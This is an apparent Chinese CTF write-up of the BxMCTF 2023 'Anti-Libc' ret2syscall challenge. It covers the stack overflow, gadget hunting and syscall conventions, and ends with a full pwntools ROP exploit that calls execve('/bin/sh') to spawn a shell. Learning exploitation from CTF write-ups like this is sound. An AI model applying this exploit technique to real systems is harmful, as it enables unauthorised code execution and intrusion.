文章目录
- ret2syscall
- BxMCTF 2023 Anti-Libc
- main
- write_buf
- flush_obuf
- readint
- read_buf
- 思路
- exp
ret2syscall
即控制程序执行系统调用,获取 shell。
BxMCTF 2023 Anti-Libc
main
write_buf
写入字符的,待会输出
flush_obuf
把字符输出到屏幕
readint
输入要接下来要输入的数的长度,正负号会相应的判断和跳转
read_buf
如果发现start和end相同时,重写输入,否则返回输入的数据所在数组的一个start位置所在的字节
这里的sys_read存在很明显的溢出
思路
不是我说,这坨shit真的绕(我太菜了)
shit之处在于汇编的源码最后的那个循环中有个inc r10,然后IDA没有,直接原地继续赋值EMMMMMMMM
发现这个bug后题目就轻松很多了
查看文件静态链接
查看保护(不符合老外的出题特色了都)
肯定溢出构造ROP链嘛,然后系统调用嘛
32位和64位的syscall原理都是一样
只有传参和调用存在差异,以下一起说,做个对比
32位系统调用使用 " int 80h "
64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget–only查找即可)
32的系统调用号与64位的不大一样 使用的时候最好百度一下
比如
32位 #define __NR_execve 11
64位 #define __NR_execve 59
32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)
首先找rdi嘛
0x0000000000401135入选
看看 jmp 0x401106
有ret但是esi的值会减1,rdi的值会加1
emmm但会构造一下应该就好了
rax试试
寄了
eax试试
寄了
ax
寄了
al
也寄了
只能反汇编了找了
找到了
看看对应位置的汇编代码
发现需要构造%ebx寄存器
正好下面有一个
美哉 美哉
那最后咋调用系统调用呢?
发现这里有个move %rbp %rsp,那么如果之前存储的rbp合适的话,那么可以继续ROP,rbp应该为在syscall调用前的前十六个字节,因为还要有pop rbp和pop rbx得抵消掉
exp
很shit的一点是。。。忘记两次sendline如果时间过短会被程序当作一次性接受了
from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
e = ELF("./main")
p = process("./main")
#p = gdb.attach(p, "b*main")
offset = 64
input_buf = 0x402020
onemore = b"\x00"
BIN_SH = b"/bin/sh\x00"
EVIL = onemore + BIN_SH
DUMMY_RBP = p64(1) #随便填
DUMMY_RBX = p64(1) #随便填
SYSCALL = p64(0x401055)
EVIL_ADDRESS = input_buf +len(DUMMY_RBP + DUMMY_RBX + SYSCALL)#作为rdi
POP_RSI_RDI = p64(0x401135) # pop rsi ; pop rdi ; jmp 0x401106
POP_RBX = p64(0x40109C)
MOV_EBX_EAX = p64(
0x40108D
) # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret
RSI = p64(1)
RDI = p64(EVIL_ADDRESS)
RBX = p64(0x3B) # it'll go into RAX which is needed for correct syscall
RBP = p64(input_buf) # 最后的MOV_EBX_EAX这个地方最后有mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret从而可以执行系统调用
payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
payload += padding + RBP + POP_RSI_RDI + RSI + RDI
payload += POP_RBX + RBX + MOV_EBX_EAX
print(len(payload))
print(p.recvuntil("input? "))
p.sendline(str(len(payload)))
sleep(3) # 防止间隔时间太多被当作一次性发过去了
p.sendline(payload)
p.interactive()